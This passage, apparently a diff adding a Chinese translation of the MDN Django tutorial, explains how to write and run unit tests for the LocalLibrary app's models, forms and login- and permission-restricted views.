</strong>提供的标准断言。框架中还有其他标准断言,还有 <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#assertions">Django 特定的断言</a>,来测试视图是否重定向(<code>assertRedirects</code>),或测试是否已使用特定模板(<code>assertTemplateUsed</code>)等。</p> + +<div class="note"> +<p><strong>注意</strong>:您通常<strong>不应</strong>在测试中包含<strong>print()</strong> 函数,如上所示。我们这样做,只是为了让您可以看到在控制台中,调用设置功能的顺序(在下一节中)。</p> +</div> + +<h2 id="如何运行测试">如何运行测试</h2> + +<p>要运行所有测试,最简单的方法,是使用以下命令:</p> + +<pre class="brush: bash">python3 manage.py test</pre> + +<p>这将查找当前目录下,使用模式 <strong>test*.py</strong> 命名的所有文件,并运行使用适当基类定义的所有测试(这里我们有许多测试文件,但只有 <strong>/catalog/tests/test_models.py</strong> 目前包含任何测试。)。默认情况下,测试将仅单独报告测试失败,然后是测试摘要。</p> + +<p> </p> + +<div class="note"> +<p>如果您收到类似于以下内容的错误:<code>ValueError: Missing staticfiles manifest entry ...</code> 这可能是因为默认情况下,测试不会运行 collectstatic,而您的应用程序正在使用需要它的储存类别(有关更多信息,请参阅 <a href="https://docs.djangoproject.com/en/2.0/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict">manifest_strict</a>)。有许多方法可以解决这个问题 - 最简单的方法,是在运行测试之前,简单地运行collectstatic:</p> + +<pre class="brush: bash">python3 manage.py collectstatic +</pre> +</div> + +<p>在 LocalLibrary 的根目录中,运行测试。您应该看到如下所示的输出。</p> + +<pre class="brush: bash">>python3 manage.py test + +Creating test database for alias 'default'... +<strong>setUpTestData: Run once to set up non-modified data for all class methods. +setUp: Run once for every test method to setup clean data. +Method: test_false_is_false. +.setUp: Run once for every test method to setup clean data. +Method: test_false_is_true. +FsetUp: Run once for every test method to setup clean data. +Method: test_one_plus_one_equals_two.</strong> +. +====================================================================== +FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true + self.assertTrue(False) +AssertionError: False is not true + +---------------------------------------------------------------------- +Ran 3 tests in 0.075s + +FAILED (failures=1) +Destroying test database for alias 'default'...</pre> + +<p>在这里,我们看到有一个测试失败,我们可以确切地看到哪个函数失败了、为什么失败(这个失败是预期的,因为 <code>False</code>不是 <code>True</code>!)。</p> + +<div class="note"> +<p><strong>提示: </strong>从上面的测试输出中,学到的最重要事情是,如果为对象和方法使用描述性/信息性名称,它会更有价值。</p> +</div> + +<p>上面以<strong>粗体</strong>显示的文本,通常不会出现在测试输出中(这是由我们的测试中的<code>print()</code>函数生成的)。这显示了如何为类调用<code>setUpTestData()</code>方法,并在每个方法之前调用<code>setUp()</code>。</p> + +<p>接下来的部分,将介绍如何运行特定测试,以及如何控制测试显示的信息量。</p> + +<h3 id="显示更多测试信息">显示更多测试信息</h3> + +<p>如果您想获得有关测试运行的更多信息,可以更改详细程度。例如,要列出测试成功和失败(以及有关如何设置测试数据库的大量信息),您可以将详细程度设置为 “2”,如下所示:</p> + +<pre class="brush: bash">python3 manage.py test --verbosity 2</pre> + +<p>允许的详细级别为 0, 1 ,2 和 3,默认值为 “1”。</p> + +<h3 id="运行特定测试">运行特定测试</h3> + +<p>如果要运行测试的子集,可以通过指定包,模块,<code>TestCase</code>子类或方法的完整路径(包含点)来执行此操作:</p> + +<pre class="brush: bash">python3 manage.py test catalog.tests # Run the specified module +python3 manage.py test catalog.tests.test_models # Run the specified module +python3 manage.py test catalog.tests.test_models.YourTestClass # Run the specified class +python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two # Run the specified method +</pre> + +<h2 id="LocalLibrary_测试">LocalLibrary 测试</h2> + +<p>现在我们知道,如何运行我们的测试,以及我们需要测试哪些东西,让我们看一些实际的例子。</p> + +<div class="note"> +<p><strong>注意: </strong>我们不会编写所有可能的测试,但这应该可以让您了解测试的工作原理,以及您可以做些什么。</p> +</div> + +<h3 id="模型">模型</h3> + +<p>如上所述,我们应该测试我们设计的任何内容,或由我们编写的代码定义的内容,而不是已经由 Django 或 Python 开发团队测试过的库/代码。</p> + +<p>例如,请考虑下面的作者模型<code> Author</code>。在这里,我们应该测试所有字段的标签,因为即使我们没有明确指定它们中的大部分,我们也有一个设计,说明这些值应该是什么。如果我们不测试值,那么我们不知道字段标签,是否具有其预期值。同样,虽然我们相信 Django 会创建一个指定长度的字段,但值得为这个长度指定一个测试,以确保它按计划实现。</p> + +<pre class="brush: python">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>打开我们的 <strong>/catalog/tests/test_models.py</strong>,并用 <code>Author</code>模型的以下测试代码,替换任何现有代码。</p> + +<p>在这里,您将看到我们首先导入 <code>TestCase</code>,并使用描述性名称,从中派生我们的测试类(<code>AuthorModelTest</code>),以便我们可以轻松识别测试输出中的任何失败测试。然后我们调用<code>setUpTestData()</code>,来创建一个我们将使用,但不在任何测试中修改的作者对象。</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author + +class AuthorModelTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Set up non-modified objects used by all test methods + Author.objects.create(first_name='Big', last_name='Bob') + + def test_first_name_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('first_name').verbose_name + self.assertEquals(field_label,'first name') + + def test_date_of_death_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('date_of_death').verbose_name + self.assertEquals(field_label,'died') + + def test_first_name_max_length(self): + author=Author.objects.get(id=1) + max_length = author._meta.get_field('first_name').max_length + self.assertEquals(max_length,100) + + def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + + def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>字段测试检查字段标签(<code>verbose_name</code>)的值,以及字符字段的大小,是否符合预期。这些方法都有描述性名称,并遵循相同的模式:</p> + +<pre class="brush: python">author=Author.objects.get(id=1) # Get an author object to test +field_label = author._meta.get_field('first_name').verbose_name # Get the metadata for the required field and use it to query the required field data +self.assertEquals(field_label,'first name') # Compare the value to the expected result</pre> + +<p>有趣的事情是:</p> + +<ul> + <li>我们无法使用 <code>author.first_name.verbose_name</code>直接获取 <code>verbose_name</code>,因为<code>author.first_name </code>是一个字符串(不是我们可以用来访问其属性的<code>first_name</code> 对象的句柄)。取而代之的是,我们需要使用作者的 <code>_meta</code>属性,来获取字段的实例,并使用它来查询其他信息。<br> + </li> + <li>我们选择使用 <code>assertEquals(field_label,'first name')</code> ,而不是<code>assertTrue(field_label == 'first name')</code>。这样做的原因是,如果测试失败,前者的输出,会告诉您标签实际上是什么,这使得调试问题变得更容易一些。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong> 已省略对<code>last_name</code> 和 <code>date_of_birth</code>标签的测试,以及 <code>last_name</code>字段长度的测试。现在按照上面显示的命名约定和方法,添加您自己的版本。</p> +</div> + +<p>我们还需要测试我们的自定义方法。这些基本上只是检查对象名称,是否按照我们的预期,使用“姓氏”,“名字”格式构建,并且我们为<code>Author</code>获取的 URL,是我们所期望的。</p> + +<pre class="brush: python">def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + +def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>立即运行测试。如果您按照模型教程中的描述,创建了作者模型,则很可能会出现<code>date_of_death</code>标签的错误,如下所示。测试失败,是因为它写的是期望标签定义遵循 Django 的约定,即没有大写标签的第一个字母(Django 会为你做这个)。</p> + +<pre class="brush: bash">====================================================================== +FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label + self.assertEquals(field_label,'died') +AssertionError: 'Died' != 'died' +- Died +? ^ ++ died +? ^</pre> + +<p>这是一个非常小的错误,但它确实强调了,编写测试如何能够更彻底地检查,您可能做出的任何假设。</p> + +<div class="note"> +<p><strong>注意: </strong>将 date_of_death字段(/catalog/models.py)的标签更改为“death”并重新运行测试。</p> +</div> + +<p>用于测试其他模型的模式,也类似于此,因此我们不会继续进一步讨论这些模式。请随意为其他模型,创建您自己的测试。</p> + +<h3 id="表单">表单</h3> + +<p>测试表单的理念,与测试模型的理念相同;您需要测试您编码、或设计指定的任何内容,但不测试底层框架,和其他第三方库的行为。</p> + +<p>通常,这意味着您应该测试表单,是否包含您想要的字段,并使用适当的标签和帮助文本,显示这些字段。您无需验证 Django 是否正确验证了字段类型(除非您创建了自己的自定义字段和验证) - 即您不需要测试电子邮件字段,是否只接受电子邮件。但是,您需要测试,您希望在字段上执行的任何其他验证,以及您的代码将为错误生成的任何消息。</p> + +<p>考虑我们更新书本的表格。这只有一个继续借阅的日期字段,它将包含我们需要验证的标签,和帮助文本。</p> + +<pre class="brush: python">class RenewBookForm(forms.Form): + """ + Form for a librarian to renew books. + """ + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + + def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + #Check date is in range librarian allowed to change (+4 weeks) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data</pre> + +<p>打开我们的<strong> /catalog/tests/test_forms.py</strong> 文件,并用<code>RenewBookForm</code>表单的以下测试代码,替换任何现有代码。我们首先导入我们的表单,和一些 Python 和 Django 库,以帮助测试与时间相关的功能。然后,我们以与模型相同的方式,声明我们的表单测试类,使用我们的 <code>TestCase</code> 派生测试类的描述性名称。</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. + +import datetime +from django.utils import timezone +from catalog.forms import RenewBookForm + +class RenewBookFormTest(TestCase): + + def test_renew_form_date_field_label(self): + form = RenewBookForm() + self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date') + + def test_renew_form_date_field_help_text(self): + form = RenewBookForm() + self.assertEqual(form.fields['renewal_date'].help_text,'Enter a date between now and 4 weeks (default 3).') + + def test_renew_form_date_in_past(self): + date = datetime.date.today() - datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_too_far_in_future(self): + date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_today(self): + date = datetime.date.today() + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) + + def test_renew_form_date_max(self): + date = timezone.now() + datetime.timedelta(weeks=4) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) +</pre> + +<p>前两个函数,测试字段的<code>label</code> 和 <code>help_text</code>,是否符合预期。我们必须使用字段字典访问该字段(例如<code>form.fields['renewal_date']</code>)。请注意,我们还必须测试标签值,是否为<code>None</code>,因为即使 Django 将呈现正确的标签,如果未明确设置该值,它也会返回<code>None</code>。</p> + +<p>其余函数,测试表单对于续借日期,在可接受范围内是否有效,对于范围外的值,是否无效。请注意我们如何使用<code>datetime.timedelta()</code>,在当前日期(<code>datetime.date.today()</code>)周围构建测试日期值(在这种情况下指定天数或周数)。然后我们只需创建表单,传入我们的数据,并测试它是否有效。</p> + +<div class="note"> +<p><strong>注意:</strong> 这里我们实际上并没有使用数据库,或测试客户端。考虑修改这些测试,以使用<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>。</p> + +<p>如果表单无效,我们还需要验证是否引发了正确的错误,但这通常是作为视图处理的一部分完成的,因此我们将在下一节中处理。</p> +</div> + +<p>这就是表单的全部;我们确实有其他一些的东西,但它们是由基于类的通用编辑视图自动创建的,应该在那里进行测试!运行测试,并确认我们的代码仍然通过!</p> + +<h3 id="视图">视图</h3> + +<p>为了验证我们的视图行为,我们使用 <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#django.test.Client">Django 的测试客户端</a>。这个类,就像一个虚拟的Web浏览器,我们可以使用它,来模拟URL上的<code>GET</code>和<code>POST</code>请求,并观察响应。我们几乎可以看到,关于响应的所有内容,从低层级的 HTTP(结果标头和状态代码),到我们用来呈现HTML的模板,以及我们传递给它的上下文数据。我们还可以看到重定向链(如果有的话),并在每一步检查URL,和状态代码。这允许我们验证每个视图,是否正在执行预期的操作。</p> + +<p>让我们从最简单的视图开始,它提供了所有作者的列表。它显示在 URL <strong>/catalog/authors/</strong> 当中(URL 配置中,名为 “authors” 的 URL)。</p> + +<pre class="brush: python">class AuthorListView(generic.ListView): + model = Author + paginate_by = 10 +</pre> + +<p>由于这是一个通用列表视图,几乎所有内容,都由 Django 为我们完成。可以说,如果您信任 Django,那么您唯一需要测试的,是视图可以通过正确的 URL 访问,并且可以使用其名称进行访问。但是,如果您使用的是测试驱动的开发过程,则首先编写测试,确认视图显示所有作者,并将其分成10个。</p> + +<p>打开 <strong>/catalog/tests/test_views.py</strong> 文件,并用<code>AuthorListView</code>的以下测试代码,替换任何现有文本。和以前一样,我们导入模型,和一些有用的类。在<code>setUpTestData()</code>方法中,我们设置了许多<code>Author</code>对象,以便我们可以测试我们的分页。</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author +from django.urls import reverse + +class AuthorListViewTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Create 13 authors for pagination tests + number_of_authors = 13 + for author_num in range(number_of_authors): + Author.objects.create(first_name='Christian %s' % author_num, last_name = 'Surname %s' % author_num,) + + def test_view_url_exists_at_desired_location(self): + resp = self.client.get('/catalog/authors/') + self.assertEqual(resp.status_code, 200) + + def test_view_url_accessible_by_name(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + def test_view_uses_correct_template(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + self.assertTemplateUsed(resp, 'catalog/author_list.html') + + def test_pagination_is_ten(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 10) + + def test_lists_all_authors(self): + #Get second page and confirm it has (exactly) remaining 3 items + resp = self.client.get(reverse('authors')+'?page=2') + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 3)</pre> + +<p>所有测试,都使用客户端(属于我们的<code>TestCase</code>的派生类)来模拟<code>GET</code>请求,并获得响应(<code>resp</code>)。第一个版本检查特定 URL(注意,只是没有域名的特定路径),而第二个版本从 URL配置中的名称生成 URL。</p> + +<pre class="brush: python">resp = self.client.get('/catalog/authors/') +resp = self.client.get(reverse('authors')) +</pre> + +<p>获得响应后,我们会查询其状态代码,使用的模板,响应是否已分页,返回的项目数以及项目总数。</p> + +<p><br> + 我们在上面演示的最有趣的变量是<code>resp.context</code>,它是视图传递给模板的上下文变量。这对测试非常有用,因为它允许我们确认模板正在获取所需的所有数据。换句话说,我们可以检查是否正在使用预期的模板,以及模板获得的数据,这对于验证任何渲染问题,是否真的仅仅归因于模板有很大帮助。</p> + +<h4 id="仅限登录用户的视图">仅限登录用户的视图</h4> + +<p>在某些情况下,您需要测试仅限登录用户的视图。例如,我们的<code>LoanedBooksByUserListView</code>与我们之前的视图非常相似,但仅供登录用户使用,并且仅显示当前用户借用的<code>BookInstance</code>记录,具有出借中“on loan”状态,并且排序方式为“旧的优先”。</p> + +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Generic class-based view listing books on loan to current user. + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>将以下测试代码,添加到 <strong>/catalog/tests/test_views.py</strong>。这里我们首先使用<code>SetUp()</code>创建一些用户登录帐户,和<code>BookInstance</code>对象(以及它们的相关书本,和其他记录),我们稍后将在测试中使用它们。每个测试用户都借用了一半的书本,但我们最初,将所有书本的状态设置为“维护”。我们使用了<code>SetUp()</code>而不是<code>setUpTestData()</code>,因为我们稍后会修改其中的一些对象。</p> + +<p> </p> + +<div class="note"> +<p><strong>注意:</strong> 下面的<code>setUp()</code>代码,会创建一个具有指定语言<code>Language</code>的书本,但您的代码可能不包含语言模型<code>Language</code>,因为它是作为挑战创建的。如果是这种情况,只需注释掉创建或导入语言对象的代码部分。您还应该在随后的<code>RenewBookInstancesViewTest</code>部分中,执行此操作。</p> +</div> + +<pre class="brush: python">import datetime +from django.utils import timezone + +from catalog.models import BookInstance, Book, Genre, Language +from django.contrib.auth.models import User #Required to assign User as a borrower + +class LoanedBookInstancesByUserListViewTest(TestCase): + + def setUp(self): + #Create two users + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() + + #Create a book + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language) + # Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) #Direct assignment of many-to-many types not allowed. + test_book.save() + + #Create 30 BookInstance objects + number_of_book_copies = 30 + for book_copy in range(number_of_book_copies): + return_date= timezone.now() + datetime.timedelta(days=book_copy%5) + if book_copy % 2: + the_borrower=test_user1 + else: + the_borrower=test_user2 + status='m' + BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=the_borrower, status=status) + + def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('my-borrowed')) + self.assertRedirects(resp, '/accounts/login/?next=/catalog/mybooks/') + + def test_logged_in_uses_correct_template(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Check we used correct template + self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html') +</pre> + +<p>要验证如果用户未登录,视图将重定向到登录页面,我们使用<code>assertRedirects</code>,如<code>test_redirect_if_not_logged_in()</code>中所示。要验证是否已为登录用户显示该页面,我们首先登录我们的测试用户,然后再次访问该页面,并检查我们获得的<code>status_code</code>为200(成功)。</p> + +<p>测试的其余部分,验证我们的观点,仅返回借给当前借用人的书本。复制上面测试类末尾的(自解释)代码。</p> + +<pre class="brush: python"> def test_only_borrowed_books_in_list(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Check that initially we don't have any books in list (none on loan) + self.assertTrue('bookinstance_list' in resp.context) + self.assertEqual( len(resp.context['bookinstance_list']),0) + + #Now change all books to be on loan + get_ten_books = BookInstance.objects.all()[:10] + + for copy in get_ten_books: + copy.status='o' + copy.save() + + #Check that now we have borrowed books in the list + resp = self.client.get(reverse('my-borrowed')) + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + self.assertTrue('bookinstance_list' in resp.context) + + #Confirm all books belong to testuser1 and are on loan + for bookitem in resp.context['bookinstance_list']: + self.assertEqual(resp.context['user'], bookitem.borrower) + self.assertEqual('o', bookitem.status) + + def test_pages_ordered_by_due_date(self): + + #Change all books to be on loan + for copy in BookInstance.objects.all(): + copy.status='o' + copy.save() + + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Check our user is logged in + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Confirm that of the items, only 10 are displayed due to pagination. + self.assertEqual( len(resp.context['bookinstance_list']),10) + + last_date=0 + for copy in resp.context['bookinstance_list']: + if last_date==0: + last_date=copy.due_back + else: + self.assertTrue(last_date <= copy.due_back)</pre> + +<p>你也可以添加分页测试,如果你愿意的话!</p> + +<h4 id="使用表单测试视图">使用表单测试视图</h4> + +<p>使用表单测试视图,比上面的情况稍微复杂一些,因为您需要测试更多代码路径:初始显示,数据验证失败后显示,以及验证成功后显示。好消息是,我们使用客户端进行测试的方式,与我们对仅显示视图的方式,几乎完全相同。</p> + +<p>为了演示,让我们为用于续借书本的视图,编写一些测试(<code>renew_book_librarian()</code>):</p> + +<pre class="brush: python">from .forms import RenewBookForm + +@permission_required('catalog.can_mark_returned') +def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>我们需要测试该视图,仅供具有<code>can_mark_returned</code>权限的用户使用,并且如果用户尝试续借不存在的<code>BookInstance</code>,则会将用户重定向到HTTP 404错误页面。我们应该检查表单的初始值,是否以未来三周的日期为参考值,如果验证成功,我们将被重定向到 “所有借阅的书本” 视图。作为验证 - 失败测试的一部分,我们还将检查我们的表单,是否发送了相应的错误消息。</p> + +<p>将测试类的第一部分(如下所示),添加到 <strong>/catalog/tests/test_views.py</strong> 的底部。这将创建两个用户和两个书本实例,但只为一个用户提供访问该视图所需的权限。在测试期间,授予权限的代码以<strong>粗体</strong>显示:</p> + +<pre class="brush: python">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned. + +class RenewBookInstancesViewTest(TestCase): + + def setUp(self): + #Create a user + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() +<strong> permission = Permission.objects.get(name='Set book as returned') + test_user2.user_permissions.add(permission) + test_user2.save()</strong> + + #Create a book + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language,) + # Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed. + test_book.save() + + #Create a BookInstance object for test_user1 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance1=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user1, status='o') + + #Create a BookInstance object for test_user2 + return_date= datetime.date.today() + datetime.timedelta(days=5) + self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre> + +<p>将以下测试添加到测试类的底部。这些检查只有具有正确权限的用户(testuser2)才能访问该视图。我们检查所有情况:当用户没有登录时、当用户登录但没有正确的权限,当用户有权限但不是借用人(应该成功),以及当他们尝试访问不存在的<code>BookInstance</code>,会发生什么。我们还检查是否使用了正确的模板。</p> + +<pre class="brush: python"> def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_redirect_if_logged_in_but_not_correct_permission(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual( resp.status_code,302) + self.assertTrue( resp.url.startswith('/accounts/login/') ) + + def test_logged_in_with_permission_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance2.pk,}) ) + + #Check that it lets us login - this is our book and we have the right permissions. + self.assertEqual( resp.status_code,200) + + def test_logged_in_with_permission_another_users_borrowed_book(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + + #Check that it lets us login. We're a librarian, so we can view any users book + self.assertEqual( resp.status_code,200) + + def test_HTTP404_for_invalid_book_if_logged_in(self): + import uuid + test_uid = uuid.uuid4() #unlikely UID to match our bookinstance! + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid,}) ) + self.assertEqual( resp.status_code,404) + + def test_uses_correct_template(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + #Check we used correct template + self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html') +</pre> + +<p>添加下一个测试方法,如下所示。这将检查表单的初始日期,是将来三周。请注意我们如何能够访问表单字段的初始值内的值(以<strong>粗体</strong>显示)。</p> + +<pre class="brush: python"> def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): + login = self.client.login(username='testuser2', password='12345') + resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) + self.assertEqual( resp.status_code,200) + + date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) + self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future ) +</pre> + +<p>下一个测试(将其添加到类中)会检查如果续借成功,视图会重定向到所有借书的列表。这里的不同之处在于,我们首次展示了,如何使用客户端发布(<code>POST</code>)数据。 post数据是post函数的第二个参数,并被指定为键/值的字典。</p> + +<pre class="brush: python"> def test_redirects_to_all_borrowed_book_list_on_success(self): + login = self.client.login(username='testuser2', password='12345') + valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) + resp = <strong>self.client.<em>post</em>(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future} )</strong> + self.assertRedirects(resp, reverse('all-borrowed') ) +</pre> + +<div class="warning"> +<p><strong>重要</strong>:全部借用的视图作为额外挑战,您的代码可能会改为重定向到主页'/'。如果是这样,请将测试代码的最后两行,修改为与下面的代码类似。请求中的<code>follow=True</code>,确保请求返回最终目标URL(因此检查<code>/catalog/</code>而不是<code>/</code>)。</p> + +<pre class="brush: python"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> ) + <strong>self.assertRedirects(resp, '/catalog/')</strong></pre> +</div> + +<p>将最后两个函数,复制到类中,如下所示。这些再次测试<code>POST</code>请求,但在这种情况下具有无效的续借日期。我们使用<code>assertFormError() </code>,来验证错误消息是否符合预期。</p> + +<pre class="brush: python"> def test_form_invalid_renewal_date_past(self): + login = self.client.login(username='testuser2', password='12345') + date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':date_in_past} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong> + + def test_form_invalid_renewal_date_future(self): + login = self.client.login(username='testuser2', password='12345') + invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) + resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':invalid_date_in_future} ) + self.assertEqual( resp.status_code,200) + <strong>self.assertFormError(resp, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong> +</pre> + +<p>可以使用相似的技术,来测试其他视图。</p> + +<h3 id="模板">模板</h3> + +<p>Django 提供测试 API 来检查您的视图,是否正在调用正确的模板,并允许您验证,是否正在发送正确的信息。但是,没有特定的 API,支持在 Django中测试 HTML输出,是否按预期呈现。</p> + 